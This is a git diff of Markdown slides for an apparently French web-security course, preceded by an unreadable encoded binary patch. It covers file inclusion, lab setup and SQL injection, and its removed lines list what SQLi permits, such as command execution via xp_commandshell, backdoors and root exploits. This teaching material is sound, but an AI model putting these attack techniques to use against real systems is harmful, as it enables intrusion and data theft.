zPx&G?M)D<{(JvK|^>QAsr0cZwPRn8ZcIAj3hGD-M)M8ziRvJuU>`B~oi_2#v7L5%Z
zVi{?5D2lKAWT~QHjgh+CPQ}9ZG5U+;{QkQSU+Jo^Ieov=B~Ls0Ap@<}&yND{@t&iW
z?o32>A9JCEPg?Z(E3>kR3Gj`?PG#RA+_uMmUyV`JLGc_l&%4o7j!Gub_R4+sTaJ0s
z;fDgu5FYq?TC*f90B-fMM9=!W4S=u^KIs1|S{;mOwhPb!_Cv@2Kk_sDukQyO<UdRj
zd64LJSy(`gV<o{+JZOmmSet(;F|JrfI;vwTPySY}(^HU>KH8O{!+OyFhgOs*F3tK&
zTWZi96ud3fVD&Es6ur)=T5tUBV2MsV7Y7(BbB-iNjj`qKfXOU-%VRm)uq#$7c9Tj)
zTz<^LJUNocW$a&bhRV6SHD4M{LTPtnU2G+{(w6)=VAkK-?e}WK40BP?X^OcM5gvVq
zT79f$3>i-5GPClR!iE;ce0ZTO68n<Op{rCH+lZJ|6SkSL(ORiUXh$zn{FBl@Cz5Bq
zwS1>Fmhyg`tTcUlEMFtaFClt+{;?Gipu8hAv2-zBKXK*;I7+9wQAh5Z_h;_L>#lX4
z*RG)TEDmor+i}P`jP-}FFZSyvJRV?69HB-Y7F!E-cF^L<HId9&ly840YUY_>F(dq?
zR;k4^NC3J}$I5%J#aFtHs@U_^L5b_Ch~St#FaxXcYlJ2Kp@eiuMZdo#NpI?^<$w~q
z{!-*X4swhN?c30O9Rb7J8sEyJCNGlw&N5D+YmR=(i^s`oq!_iS<h92cgpM~+692)2
z?)-}f75OP{JpR2k4p+UgaOwC>>Oo;Y)~n3rgD@U&F}@<DBW80t_b3oRpdqt8EX<>^
zr!jhJ132saP*%l+M(*ePwf&oG*B!+ru#{A$G4RFoiS3z@NW_g<G;NHgE2a3zcG8H@
z>v?^sU0Oj(y99h$|2vQB^a@s(%=82pzNGG~-fRm(556qTmKPC?)x6dU;yDS`&?YN<
znt@Wn$jMu?Tv*H{9e&FWVgm85fH|XGr7ajs<?^KmS^&n*cG_f3pvVpo{%d0rM)+Rc
zH7Dw@t&Mq`VzRR+l$M2j4ruu%VKU*_0*e=So$Baflt~o36U#+4%B85p#x|2k6(p{3
zW!zLLYvKN_!!m<P8U+PKOQpL;sJ?wdlr;M(OJEh$2KwDt{3Z^2_H5vmc)Ym@&_uYk
z1bo6N$&+BUIjs|tUNo!OHdaPY-PTT*g`78X1?X4fDq``hck4Cbiyof{I>&FDEDrVx
zx|*7}ejH_=MnB)MrH&zqo8iT-{1N>++A4KJSZ5Uy$HpG1+^W<zeK7q126T?AkrCC~
zv2Kkw?UqBdYzyryZNE>BT>fB+AlRiT4w$~us^e=J>)h>zZZ^7t@dEGilhedu53uVn
z0vS=5hB}&qW-n^n>;28krOU{`65z2K*vbTW`-sRCwm`)$zzdGmB$tQr!6w!fp<w4Q
z4HRx7r)849^gZyGa_)}(@vWMoyE_~BvUA>LW|q0iZ+Np%h9!x<Q<=+RL(u#VgZ?i(
zyxQ$621sO$0&XB=%$MFn{`S_K=8PI<c#0@RTaBJsa%^}=yHvyUl0JD@B@x7INFFU&
zO{=zI(2lV(Gsa(7&WL{+&*Ae*%?*_i)m2S`3`&yM^2d+$-(Zwe2*{K7&~AG7yVY>y
zk-GNSLg~bl&zxu{wQQQzMb6@uuE`r8^06fr%m&T)S3jP3cV=H-x89*`;mxleBQ%u-
zFH)G47({8BzXpLFlo_$fPrnk)YBmN_dZ=lINIwZ>lRh>&y3oCNP?C-xZJa>9X`QWi
z$h?3gWw=?;Zre2=;$rlkWL|4Lf{&gd2`XgBmjh61OSC=bvDPMhNyhP6o`GT1*3ay!
zN23Gx={zCqxLq#Pmey#g%e&p={+A<w!`>O0WR%14ZLycT<NM?35xZBVYxmCjG;fhj
zJ48x-KjM>m-VX=tLh0}7EZ3rFDyOV_A#q)y@)eq{;MQ(GlU2b#rb6E|NeJi%!HQlD
z&GG4KK8cd~>Davmj*#F`<jG^0mTP1Wnf;^zQt?G6`fF(M0Dff2D#}pe1N&a5_t!Jz
zG}&TevbbJ;VX?^K{wcDQZ?*Q6uoCp=iEzPopX5$5In?7%c!~2BY7gtx-)1`Hx3521
zy2A>2r6@@uQ#l{4ptX{fuLjN9zy|2g=NHYDXyjHiDkZp@?OluYAFh=7?D(zS-x?0O
zknbg~J26fkRKv(9xTQo~N-FCdCSGC7p;J;Ch%OQlN57?t?kFJs`Rj_mh|74|<cmV;
z%=mgEzCSk|S|(nkzO}dXQu3a>y89@hgW}?ht{xT^|IXyIbZ$GzH<dfPLFu{6ZM$=J
zDjNfsj_5bfcXk2*fVK!=$F%DO0<k1_s?r!&%Rj`5FO_kKY`v7nJrz$>`RG$nb5T%D
z-i;tI-F?4~P$lBBde5^zD7v`-O(r3;ku>?S&OuakAdUb@s>SGFOi~`#Yw8oh`27Tb
zO$P&iOZYXc827feeuyD182N0FTp7RP5rrieUYPyD$~}JP7vdj!8SGN8@V%anU{ZO{
znR=sSHUc({rfVZn3%xXXqy(ba)gC^4GeEJr6YdskHQ~GDk*cO7KDUgY{Ua1v>>Dzq
z`mdum__gpWeAf#bRwVJ<bS{~A5h!%5f(wmjiNYBpc4#*4=LDICuH%xGr(1CXS`^dk
z7Bij`-d}Y9b|Y01OtcX{GPB<yZ*8<)8NCRprY8vT7rD~IZd@@2kT&+7mneZvn~{a1
z<F=s{lKkyrjf3;ruX2f-O!me`K(6_tSJmgc!TabF*N)PFlC3W74YIy8*G1ro&lV(3
zI8}BSXxmpVpjL?c?6@A;1S6pT6cF<H(`yE0BAuDd;=(aqmQ{iE3jHH#p!&ZO_XRzD
z_6|{?emov|6qE)*q6RhSgU+?nBIt`8xWGlKElIY;22Q8^UXB&4z#w?GY2TLtObP*k
zo>#cyPt(>@7CVE-J+4<y*FbE>lplf!g5A`sbRzvbp#A$SN>s1UmH4fCH*p)zu4J)h
zPW=0|oR!fntQhC7hE(<R&&j3wWDc=(OgUgT6>~*~RgOgA%3%S1-nR~Z@9A{+n%Ltn
zrEp+>ZC=$S+i^)aghQQ2=tYtSEx6is*Z5$rGzn`ZW=xhr4tGZvH@!AJ9H{Cqu&^j_
zeM$M1Zn4o)Iby$eB9H(qEenls^eSYeI}>e;`dL=d)<Y(!t6a$+Wno0;T|W;o<6MOR
z+fg0rJ}Mg+W80O!sGep93xmc%)v1_915o%H;+iM<dmikEyrHplM6Iay=CEKzcWfD4
z|L&QY^^O7kpU+p%kkC?(u7L7OW>&(^PpdMRzFfn!t%c{1XlDE4dtSXqPA-f=Ph$tW
z5w082mH;@zD$)H(>{Qc=EF<D#1PM5NmfNS#<GF{s4c488sWNVTQ+Ff0=z(>8u&gaz
zX^w{(Yr-d#*jg+=jiZB$V%}I<yY%HY_v$#Zwip>nXK`oYve!Pf%P&z`CEp7{Ul42i
z-D&-?^D!k1+9#S-b)ERqgb5+{F(G6M;-j030XMATweZ=}Cphycf$ENu!L`(*qiPiV
zcl_Qyl7VWjd*C{3Ct)Z5OU)e%?Ief6ZoB9g?5=u~6P)47aiCz}j{TU~BLGjRdc|s$
zYlMLHa96qG#1MO!aID*s`{Q%)XYOt9Rc7*W#wz@eehx0!sT}k6S2}ZJW(~Wb;t)it
zBL)nk{jO+$h<a`9zdi!KWyNDYz~V&&qoV93PdFUCdF6ZoFpCTaglW@YUFN&kj=V$s
zmtPqj*Kn-FgKpTeG+L+o$?nId3-5p7;2@j;-GBWn#3jQ2J>RhXAAx`#o%Vcu_0CsY
zZAGl~KjvM_%g5o&zZP6`Mh#p%qtxPd|2v9Tig@Ctpgqm0BNC*Ijg@Y?JA_+@O!#!S
z_HU@%;~jmyh1=j@v5zn&MLqp4>aE?4ec$h}%K9=V@@R8{9w#~a*uQk|h%w{J^?e5r
z{ERTSQ(~+V6`J56olZjbM_b*e@hwX34!zJV#@L07_KXM?&A$`}BK9JNYcb6yJJ4oN
zWgk(wr;oDBN`s3uYYpyq5Ls*Nyh397AO<n8vM^kpGG*X68&@nDGG(}Wo`4OjmR~)!
zahmtWbP$&7dMqJbUPS>ePl!598Y1E6jHR`|#~j{e8grDl-*7)I#<&M+kyv_Lug~Um
zQnWN>{-TuI`P!^Khey+4wu97<1PlzNlsaf;5;?HGB80J&dDlil55$py^Df$xL|vH3
zAjF>fOYOJd2)Guw&B>eF*&?SDtMq1r7J{-)J=Ve8H4GRtT)G`dY3Toe$e+6YN(DrC
z{sSWW7Z{q;DS<!=3PqM;u6Kpe%u;~9*&!U@h}{n3PR3Sdq=gi%q7Bd4hAAFN8|(r)
z;v=OPyBb20poAj<B`^d1^he(JT7c5{6RO9m|Eo@U)~X8v+XfIIID{3G-Jmq2a8YCF
z<UUs7tJ}_q+=-ADm~4-8yz7R>bH-C8H^fgJUfp|X(#)&%UdRtsOgg09;FpGuX?{P4
zI$D=#Wv5}CXMV$ZLSL?e$zl*_I>4n+?!(e}dtMiIfWYk>$|e(d^j<T9+zJhK6B!!*
z;xuP^{?~zp<;k>J@p9pEH3;xd+gwuYsj#>|AWHae#TBg6-5gt&Cea^6I9v?f5Hkt}
z$~z(v*_{Nn_ZB;U5=%K+_!5SKGh49cz3WKM;_hHaf9Is`mU{$?&NmO@%CBTSnJAmv
z?MS+O%Ba%-Zyf@a0LupY%LL>~=MR3AJfoP!^FS9xrD4~V96Z(3A99RxAi1+U{%@Oy
z<(Xed+9$kU)^{?9J_4LJ8;$BLh|;;;zIKQ^{E7A9IuM-VsWwa$L-ON^x~=nJ$3t)>
z$!&_Wry|>op2v0>PizfI&3T5arK7rXf)sQ`6Hazx`x&$(e7bYZA$HU_?G<S$k!wI%
z)acV5=PvnOF-;N)e>-a*MLJz^hb}eE@&Pp+m%GXyzv1fY#_q`#B48^(cW3O~)PjW6
z-|XE8e$3_H(v{oc7N$5f!)k0*8^SvS*@b8<ihHU;U%@N`bQo%6`H$fA5w($DRx_r;
z=o*+2n>m#RZzciCS`9Z@_%rkH&iqMT@$D_(5B1y#>&j_}G^SSHp|XB#e&ZlOxn%*a
z`)uE<(Gr$qsR)${D1!|*NcypR=D|JiirHPItv;9!zY{u6T*y%-YSXaTu;i2|eP*C7
zwu=D}MstwIjA2HV$#*xJC|A;;?S)xxAK@QpdaeaFIT}RSDBxsz#68-*bk}?&<jP`(
zU6wj&uPSF0ObPDUQ8(x!P%C#s69VGU%|Jihy>$(HPQ1<5acJm4B8N;(JmM89ONSjO
zb4n_B2RV;aM!Q_e4p1Gl?Is6|OU0R=pqdbDHEN6`n&I@Dxn}ZV8z?u7dOjCT%k*C?
zE*v1v)=AnA<DIrAK`N69rplR}<UEvG)wN?sWW*CmG6ytn5L+a)1<Nz`Vo%o=t~OZ-
z_tmu^b}f-hXD6gmOK@9~6$vCs=%%FbvwV1B@;U>!=!MKJmd^nLtz4kDSZ|jkSN01F
zjg_0J&h#W45W&iYYcjF3EG{6*_!mBU*^)<R<q;*7glcOO!dB~W-0z2t^2>E|beyh4
zwGl=>m?<}nplh*+<#hFeX(aOj6LG{N70Y_?!njPSjt^=Ur}qbmk8uEMCzAOnQT^jH
zP#mW+5r2!p)fvS}MKMh$-9fcpei$?OneSRhqWCrk34;!&wXK<e(DK@rpkwf0LJg)A
zRd4B-sTm-MeIbtnc@h&o2U&^`{0ghUChfsss6`D8FiLGNj#?(g<qIT5`@Bmr;yS$t
z4v4<(n`nq#vl2>Wfz6P*PbQ^Qe({71f|hu~8H}s9R9}jGLl~wW;RhK-PtX6wr9T&)
z6(rWcBQM^0$vjfG)<uOHA)mik;<cv@&?lX796IUH7=+?7N;d_oHEiXgDL1tF9s7(H
z2E0usA{gS|n$Ya_2I-jTBk&8e_Aqr}poiGh_$v`@ddp>7F7teh(#T|z%#_TQ(vD9V
zQcJfmuaI_7(7DBplOG<h>+eocRGNxp8#Gv)<TO-}!S-D_kl-1RZ?%4UeP<6w?4G0H
z6i@k!T70>+39;S^Zba0^P?<h?JUxOn1<F7NZLPS>5BIma1DS8|BWuc%8`DN@1!Dm3
zd)l|l;=k}7nJ8D~WB%A^LfjDboty*qTY`d3>iQ`Z&++4sJ9g6{KZ1L{D%rO*vHlU-
zj|uN2dX#^C+*_$CXBAAY%R>vri<^AH4;lv0H(tVkY0Z3V0gc{+h2Fxd83r-^(8+e@
zbnM6Lka%TvP}Yxjx^-1PGLBbivoLQDSv~ujqaoo;$+R|f0C7#bu9~c|@>VLpbFmv`
zPzXk>BrtIp<Kf9gExe1i6B_t<l-e5bNg$U66Yp$j`)|qJw)mb*!>T(<Xa(7n1iknI
zE1$P?$XbaPH=?>58IWQ!Mjl1n{$#w)%L2%MlFsjvT-xjBU<WN^!4*VI3?RkT2QTHR
z;i5Q{Xgw*LPJD|In?EUMY#P{au|fN0na_A<7jhx)orN4NI}@PHWUj~GAh;gTEa<sf
zz?xsjVpJ+Ha2yjl@?Vhx7our#ZS_#m=y=ju9(c^_DFT7t649D-RB=1V^J#EG{ddRa
z;K!$K*qcO~1ybZG^IDCSVim1_X0o`rrhUR&jpK90u?J=24H40{7yG^mRgD2CalKW<
z;FMM>PwcxUs`B>~1?rG&u1^<0M4W0+q4&1`#xxxy$(?Y**t;kWK;fZO-sv;hJjIh+
zu1~GSQsy+dKyaq+OS>8&84@di!^oqw?<tiBw8oH#rouLq#hv{gAk^{_yvA>6@c8LV
zENy?-7E9)E{Mc0(*k*aaOtoVuqcLfKG#Dlds32KM#QLThC5~>i(Sv+_l^H`KyxG*k
z-F#|_g&Ie<7Pg>NJa1>Rc{uTk{?SEKg<ZO#g}?>)>RwMw>}bO#qKou;s1>%0WX^>r
zx!0@&wT18`d{_fnInxb=T>1zhu?}z4_WOR6wPpiTl2rtcNrJ84yqyKhRJT+uXIy*3
zzJ18u5+kA8Jc<1As(>c!@GC>(o65C<skL}BhSon-(I30Qj6xnoxY4O`465yI1P?gZ
zT?k$ck&5Q8a6h>;tN!2>?g!Fe3}cU5Yx^_X`#G=|0>t^;vdJ&65510y6e@szD<U}2
zivdQ0YglrO-P{41f5?4ToNHqhXkZ&m#oMkpd_JJjG{kg;>nuy9_nrA-k`3Y7NuN;e
z-sgcK8W=K4#LPePP+MGucj5JvSt~1<9xx_R=$!V7_Ki_l5HF!ANSs!jKFi5s3%FO}
zQYmFW8Smu(VxkT&ww7;e`SnPSI45GV8p1xyt4OlpdHTB+J-<T@)RMIm8{i$7({Ab1
zku2n?G*tE^wxhi4dQ10*Gv&QKH4?%Or5Pk&HGHtg4k@xgbM)oBxZA^u0`)cux>LfJ
zzAPRj{zB&OTsPA9^0rX|w{TK_2B3QL4Gd%4A5s6vQ}fAeLQlJP+X?+k3KB(}c?340
zxu94DkbU<6{$2LQKgwJmxc~GE`fPnnwea~X>DBFvTfvTz%Nv1(SWkH~-Tqn?(7x@)
z{;x<Nj0~vv1f>uW9uwNHz@OI72kQOnP7o0Pf5agKcRD?XnlepP|5ouv*L?kO^qR+$
z|2Xpb-y}I*ar@nr-^P%Q`ht22W8+^hq48hap|3&YUuIiz&4~G(q7un)dO|NiuOky4
zJdFeaAkzVa_pjU^EfE}#4}XO$1kigFsx3^sf-o9@$nYZ&)h}^FT`}?{>KlRKUoM`p
z=`TsHR(#F;MI$U<E<^&Aw4#NUcZRFAWRYATx!E8n*2t$X8D#9Z&@_s1e3Pb`7)ozW
znv1*L3n6y?;`y&h?S|Gz=k6UI0!on5%p;Yk{|=ck765sg2$1tlMN|tE_bjoc>P>Rt
z3$HR9;DL_aa^+)4_jvX(nk;oc3iBxT@D<d47Y0>#yC@hEdT>p0E;Ywa-dHJCWPO2N
zs^PcX&LShv{WXj0rA)Wdvqw$02M&rDIjT2;#!|?_?aclmMo<Mg%xmS2r_i~#(7#MS
zf&0#T6&ys|1Kmt5U{lXiTAqpg)H;Pw%F<8d2_9X2aB{0_iAIRWU*nLwBabADmi@u`
zZSssgOg9yJ<ALsun8rH_%Ek;tL*@A6@<*1LJFg^H@vg<;bS0f@DWFo(9DhFJA*?v{
z9RL2Qr<D(52=!HK1ejjG*`K{RI4&rR<7e-;6vl&H`7N#7{CRGIT|236Q@!_BV4e(f
zfvTNDl+v}Fr$06Yuu=+|{PUsIE~W7nvw3;SceLjuNL2iS%5))6rj=v*j-8pIkV6Z0
zo9Acns<w1PJB|25CU<ld4baICSDut?;1r8?PV@I8O(q|aEV5hCl%AU^L^=Z&JS)de
zx^S3r{iwE~d9WOwI1z+^uRNpV7MkdsxJu>-m96s0*rVAtl@c`dIaXM}RE<T|2tb%&
z)!dD*2veoD#@ME6_KYa~=~YmBX3JF+yp~#34$6AoK~}cD2<SLUby7z`%KR!;cf)<J
zHCGg}CiLkwLq+rJLqgw`h}-;m=EiPAX+va^C1Y@kaOK{|sjROe)z;gEoPR6nOR20b
zKcIsENOw5;BeEE#_iEx6e?H-SSVaHy1Mtb!{gMQfrq<|a6gp)K&?y9A>%`&>wep3t
zA8_b}M$@(Oes!7{3&Pwaw33T#un5b~2}@fDrJ7(%R_OmsNR*OjQ4H|~9Lm=A5gAh$
ziYihbS)`5WWMCy;u!2#71`o}{@Aq=NQjg0-BdVdK7CNMA$VGfre?i&Dg%yzwk~+*F
zgBelR<>VX9)N|)dEf>wg-zksr>JkhKKKX|jv8#nH8F#}8(uL-GdO@#|Aa2|wOPnrn
z75@wm2v<T<RxN9FGb>wwGx^d`v#EufH=*>}toM`5NiTJ8$fbehqzF^8&ju<;+-q1-
z)v&~*eRpGCGSDxigTwEiep{vz@K;zR-SGuq);mA$H9LZC$;WvkL0KMZWv{J#VZ20m
z@fxYH1SX1NijKW;MLf=q3}pxL34>3EJ(zu-{Kx_l?q8PaYdCd6WzXD-capyG{9gSM
z(&P_6(8?#H87*U?cA$H96ytyS_uj?|`zjihTSbzAAh0`Omo(-~Oum-W5N(!45ik6#
z@N{@HgRlL5P4I%Ys#{ms-v~iilvTm@y~Yn)kMXc`T~SN#bxs<OetDN*WEk&DE}j{U
zxYXrk5qJ0No6QG%{&5s}H^{`D;${7-x|-0)p|_>>0$cVn6S_Fq0+ceZmyb^#FM>d|
zDn^=uVB{$$RAg9_bFXn&N$FI&#<#zWVCaRhAwS$3W!SwUSTo<e^Rmf9?zP`YuDk2P
z{s8V=reG~H*pg6OE9i}IY?f?G6rodBe%O2pj9V}g$3v?M6(;^#HRYg?z&BmgTZ2B%
zJ501mcbVLfHqlPH<odRyRi-+l4}EkNRd+S|sq%(1q_CX-n0_aC+N^WeDI4}@+ymty
zue2GkvQd)GusIFlo+SBqVipfse)!C2ocDu5u76|XwzHSV-lVDv9eoCx-mt+_U2irc
zsgnl`wNo7}qRIxl$G#-e=SF6%XCN@yX%Z7~j9))Ti6F`8gP^0h<W>MqFV$zo0?0oV
z>g3;cQ6!|4km7WX5_ujA%wk+V4SFmuP%O9t5n!}X7tyDhbobAwGy!pobkf@|e0jpC
z&@2u~Nd6S6vkWRjhQE)w1pK?AwPv@bhXjb@`@KI<;QVQ0Mx8>Hg1rkFizdCXL{dp{
zyl6{u<%r@d-6a&e*FxaWG%x#Tmg?I1yo7&P2ewuPyWzXzCRADH&sFs#ki33Qyq$y3
zG&%1e^pRxdC%iT3kWK%toQuu}*Nce!Pm~@n=YMNG<EcVmSAFkzeM$GdFB0YJo4odv
zUw>r*;T^=kC^%t=bDzI206~A!PXD^20)L~w|9?0CUnJlDi`@JFlLQ!nsXNlTIT6df
zSo4Q!(ZLo9=k$!>uWbl8(Qg?wc^~($<HHWh6~^-H3}8pJc@TMi(@Lc?kJ|VEYd$=V
z!86i^nU3ton_lnJ?f#RK2oW$1ELInF{nc>GZ{LrhC=e4b>dofI9^epCMjjDZ?ywPv
z|C$zF{5~fnEPdS>(!<3+K?_(>;}8oD)f%qc|IFGqjb9Pe-#eh3(<*E|AVWqTeD?nN
z&80=}OB!H|#@6Zi=i~YRNM!s!nw0-US%1&vKVlyLr*F#YyU*p~gYcEjvXK)3_i)Rg
z!`R~f-`R}aFx}nV5GTuZ@$634c_$nkp27n;1i{7ecc9~C>9*V3l#bqBTFh@;*VoTY
zvb_?<4E@J$#$=wGFKbiObzG`5p12E!jkQLoOux6zckIsLY!>zq$<_+49g`PE((dmV
z>YcNRXrA4r4=r|`)4SMH=PqC8t~-WpYE9+|;aDYTz*hjO#6jiD4dOM0fT6~n)1d)@
zAkGm7@3Y6LEuAD}2&tI21mZDmI)o1=UEuD@1H@?CjOE|?Mu+|Nd7|a#-c&QNPL>l5
z7N!lzsvzprYR36KX3-fXo8e+4l+kH~wSfyeLZ8B<yIkSumYAHgWZn`U0pnB0NeR5*
z&RHItl?>7fQWads<p7o9nlbafr=s&-q+`v(R9=ft5!g6<=uei{eJq)|5?9eq^g*Xg
zSNN}C1Pnc|glv<PE%!<*B&j@&&y@LP;^p<QCM(A)6h3F1M{XpZ+PLq6l0C;O*QT11
zta5m|e2Z7binjL-E873ynagp!eE@P{5|(7fJAj1{5Am8juI;=r3w1mZJvWB%JM;|J
zmdI5iyOvMfi)&quq7RaA5DRz&b}rQ1iZr<WmXGMtj*o|9iq`D1RyR2tCIYXS-6FLo
zg3GURj{?@+Rp>ypzgM7Eb<|tlLvIsxykL6lx$X&qDLS&t-HfL|vsRj?cSbHvPMM5G
z-Zz47>m}EFBC~_V%*HEEtvGr+fc^jwAdJmV8kC$(0L#}N!Lu)W_Z@>neCbQJJusQv
z&~6a#qm2a4daO%X+lDNGsG##+Mytj8jdP#hbQG+J)hG<Z01*Q#{fwZjz3riW+SclS
zxI+6$W+B#qr~L|7xwBJx&5f9lSc=RgKbvCst+M{t8-8bPSHT1p<?<PZ5L_2U9)sVB
zA6?zklv_6=5aoVkxUY2&E!TP%sf^emRuH~eKXMUwAj+<&Ax>I#A|;X(cNzhv_ya4Q
zBAJl4#bbNFGjHBM&kX7Wal%l^a1Doba8p01J{RYgg;YM)FH2CI<N$G$S<z0_eiU;r
zToea7P5e%dEnPo{D#rTP>SC{&UhHk$Lzs1}ra-+<tT@A<R`FHgGfs<l&y}O>cLfdg
zkL5gt!&+Me+%jd^_Cs6JkGc6$WV>El1f|lZKRt8Z|FBcr%*n#Uyqw|?>CB<-t;XUB
zlha6J4B?yY++jJr6tI-q%ZIgEc?ix>h-qj&Kr&-qcQ|p?W#E46yd_9B@oF+V_f#iN
z-P>p1l_9X<F~W%+t`mxDe7%BvV*58<dKs;kS=rCZuS~B=$I;L^+#)Wc;K28y{A2Jj
z7b=|;p6^-la%WhFMk-Bk^T6fHE(CMss%y3klL}pMq<_kRAolkZhO+|>gKeh1=$PWZ
zOMS3(6qeIB#g)$yBbK?@!=l&lvk&Exvxyo(e!UW1isGAZCCJ+E338WtjLGK9C3UQX
zXA*0v^X9$Hr?do<WwM2-YzEJr3OO-`c=p{ee<lB+lPW@R8<yYAn+M-gHn0lweKQnE
z<e(VR=Du&Hr!TkP+nQrL+nG`;cd_|CYOc7towM`7xw4mnN@n8vz-AiOE0=RLteocp
zlpCC7v!I(;MCM(Wh3x9hu_^+p>=#&bZ#{cf3z4%cIyp$?Kci$R!x+@8qV813Duy5b
zos{%pd^C<tg=6mUPJp9P-9fHdy7g|CQ)e_terb^x>+h}TLU3(^dvSHTWY?QDgeBj7
z9D)4@<d7{xMEnE;!^;rjR0a<41^eUj(G#C`q4}r+z8u;!^KO`~t~p1XnIqw{?NRQC
zQ+xS5rn2JtGlg2b+QK*{=mgSDH}%h|_CQL1B@Rvo8VSvqeju!n?Wvkx-aN)7qoCqK
z7D&37AIt5yT+DKrPymCUBdcH!+=jMggGsR)*PpXT)+xRJ^fY``-gl<e!82B5Ap=dc
zH_>9ugmOWgS|0!omyMgDFv^h11Ius;I^K8;PYg1l9%w$T9%_*=7`|2mw#Rs=lR$E~
ztWEaI@+s++%=}7Qu+#CWGU{Y-e4e=vYu*_<W1rkW`8hGnnQZ^bPfWh1n3#lmhpo*!
z)I0$nzdHnYZ#g{X9)}aT%VYFTPIv+*^duZFBXs+$+G5n+FawwBH;$Eq3R?PzAu;XR
zW>x6GQ6ah~kfKHIPBZJzy15&;jIYttJZ=ry@5&uC2@J<yxMn&`_Np=QL>3?bL(0co
zp99v%wT?cw<CY%TSki0KI}MJvcyb8lXiG52LvfUqINq~@(r2HCM!W5TIN@WPYvH+m
zJ($y#rC$7~&T{Il3ivxy0V_K0LUBlsF9}8X*q?qGN93%(zl$I&QL$X#pP)buW3tQ!
z!@F?Iv>~_%y`H13ChY_dZ}7-mW#4@a+t&{U{gWjm+2VU>GK#_>DL9_Nk5NCz&xr+y
zHy^#Q_=HCeJg=pd_cPARjb=5&>#shsTd!n7SH!^lY)Tm%WM}pUg{PW)7q09jjt!;@
ztaKo8<`@v%k6BY|zLuFLxgQeT=^L*dOeo6PK#ZT#$+kaD*FMcy6IqC<-c>f_U;BgS
z_I(r~6w@th^C-Z<+op1eBH9qa*FntPJEKwLt3E+*x=DPH5u6x1O0cd`xys`L`SqbZ
zYS<13OR`J+3fLk0a<zeZsNF4hcYR;!b$r<VXb}|O#R}s0BYsSqZKk5`Z~MjX4|MAR
zxA72Z3eLzeTpe+tBDBf;II+X!jZM<=H>omBF-$i6o=O8SMXCH(p9kJ=b%6}FpR?aL
zG+zrpgD6-EwY?*UU`$%>33iXT?Ii<8T<|!=)s(Mbe|+M67Q$DSl)^OB7MVBEYWN~T
zoT=e}HuEJL5(75@Pv*juCLqlQ`Bo?|&Uy07j7su#$Bu+yr`X=^u!^+TPPpn|mIW>9
z@lJe|zGSOmCJ7xb$TZ79^4Ba3=nul3)}Tq)7IDtgT1PuiS(feM%$FMcAH9B{yT&H&
z;x5=vOuib#M`djMZj}m}9r8L>OBdXa4hqzVYL#{g8!N`6jMRDk9<EMn!D;Acqe^PR
zU$-6i1^BB^0ucYw3%dEX`G26{WqC3cJfbe$LM}GG2@l*Wgq!ML2(EeyW^!n5|90ku
zfar(bgqM6;`TRP+J~?)1UjOE<Ab$A%N7OZ|Tx<)kz`Z2n>z>`Z|HfJn|A#r)|5Kp%
zzfbJmVBq}~Mg9Hdg~0e9dlp0-L1Vx?n%zBI%(M)7A;B}$=-=@HCr-F0>isp-X)4v2
z0z3PS{VdrYGW_*)PH)F~!0Whx2MS)J|2z_-ZGgBm+uAX_$qa<S?5E(UYq_}>7Bc`D
zu#bF(``4ZjeRz5*n-54^2FoeuNag>|tG4#}=VjhXJ2<3&s5XELWceQtxmO%m;wch?
zLAav#->K+uSXx?I_0}uw<dl^8lX)W3#oij79^bpV*03Rg!*yT$DB^w)YyI=`G^%XP
zYP;^E_71{lB&0`9R+iT!!wxbNSofRJ>$l6}pZ9oc^X=Sb6|W~LCL}Fb$*=48{{Z`@
BsapU5

literal 0
HcmV?d00001

diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md
index 8634c23..7ef66e6 100644
--- a/content/slides/1337/md/fi.md
+++ b/content/slides/1337/md/fi.md
@@ -2,6 +2,11 @@
 
 ## aka LFI / RFI
 
+<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i>
+<br /><br /><br /><br /><br /><br />
+<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>
+
+
 ### Local File Inclusion / Remote File Inclusion
 
 <small>nom d'utilisateur uca pour personnaliser les liens des slides:</small>
diff --git a/content/slides/1337/md/lab.md b/content/slides/1337/md/lab.md
index 4063b76..a7ed5af 100644
--- a/content/slides/1337/md/lab.md
+++ b/content/slides/1337/md/lab.md
@@ -106,6 +106,10 @@ install [Proxy Switcher and Manager](https://addons.mozilla.org/fr/firefox/addon
 ![ff proxy settings / step 6](images/lab/ff-proxy-step-6.png)
 
 
+## Web developper addons
+
+https://chrispederick.com/work/web-developer/
+
 ## DVWA
 
 * htaccess to protect vm
diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md
index 1a8c8b3..d3e270f 100644
--- a/content/slides/1337/md/sqli.md
+++ b/content/slides/1337/md/sqli.md
@@ -1,223 +1,254 @@
 # Injection SQL
 
+## aka SQLi
+
 ![SQLi](images/sqli/sqlinjection_comics.png "SQLi")
 
-## aka SQLi
+<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i>
+<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>
 
 
-### <i class="fa fa-cogs"></i> Principe
-* Une application envoie des données
-  * non **sanitized** à un interpréteur
-* L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé (**payload**)
-  * toutes sources de données peut être utilisées
-      * paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés
-      * au niveau de la requête [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)
+### <i class="fa fa-cogs"></i> SQLi
+* envoie de données à un interpréteur
+* l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (**payload**)
+  * toute source de données peut être utilisées
+      * paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés
+      * au niveau de la requête [et de la réponse <i class="fab fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)
 
 
-### <i class="fa fa-user-secret"></i> Que peut on faire?
-* Lire des données "protégées"
-* Corrompre des données
-* Dénis de services
-* Lecture / écriture sur le système de fichiers
-* Exécution de commandes arbitraires
+### <i class="fas fa-ice-cream"></i> SQLi / types
 
-Note:
-- marche pour tout interpréteur LDAP, XML, bash (shellshock)
-- détectable aux messages d'erreur en cas d'input invalide
-  - SQL universel ce qui rend la faille très populaire
-    - au moment de l'exploitation il faut connaître le SGBD poru aller plus loin
-      - écriture dans des fichiers
-      - passer des commandes via xp_commandshell pour un server MSSQL
-- potentielle compromission totale
-  - exécution de code
-  - backdoor
-  - local root exploit
